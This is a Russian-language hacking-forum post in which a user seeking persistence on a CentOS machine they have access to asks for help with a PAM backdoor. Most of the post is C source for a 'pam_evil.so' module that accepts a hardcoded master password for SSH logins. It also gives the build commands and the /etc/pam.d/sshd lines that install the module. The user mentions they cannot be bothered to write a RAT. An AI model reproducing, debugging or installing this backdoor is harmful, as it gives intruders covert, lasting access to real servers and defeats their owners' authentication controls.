Помогите закрепится в системе(Linux+pam)

Discussion in 'Песочница' started by anb90210, 6 Dec 2017.

  1. anb90210

    anb90210 New Member

    Joined:
    17 Oct 2017
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте.
    Имеется доступ к системе Linux centos
    Посоветуйте как закрепиться через pam модули. Пробовал метод из статьи (Хакер 2017 01(216) nix бэкдо быстрого приготовления).

    Но после изменений в /etc/pam.d/sshd и добавления своего модуля pam_evil.so перестаёт работать нормальная аутентификация(не пускает по валидному паролю)

    Вот так создавал новый модуль:

    Code:
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <security/pam_appl.h>
    #include <security/pam_modules.h>
    
    
    #define MYPASSWD "testpass"
    
    PAM_EXTERN int pam_sm_setcred(pam_handle_t * pamh, int flags, int argc, const char **argv)
    {
        return PAM_SUCCESS;
    }
    
    PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t * pamh, int flags, int argc, const char **argv)
    {
        return PAM_SUCCESS;
    }
    
    PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags, int argc, const char **argv)
    {
        char *password = NULL;
    
        pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);   
    
        if (!strncmp(password,MYPASSWD, strlen(MYPASSWD)))
        return PAM_SUCCESS;
    
        return -1;
    }
    
    
    Вот так собирал:
    gcc -fPIC -c pam_evil.c
    ld -x --shared -o pam_evil.so pam_evil.o


    Вот так добавлялся в pam - /etc/pam.d/sshd:
    auth sufficient pam_evil.so
    account sufficient pam_evil.so

    Хочется именно этот метод. Ратник самому писать лень. Может кто исследовал эту тему??? Пните в нужно направлении!
     
Loading...
Similar Threads - Помогите закрепится системе
  1. an0n1m1337
    Replies:
    4
    Views:
    42,342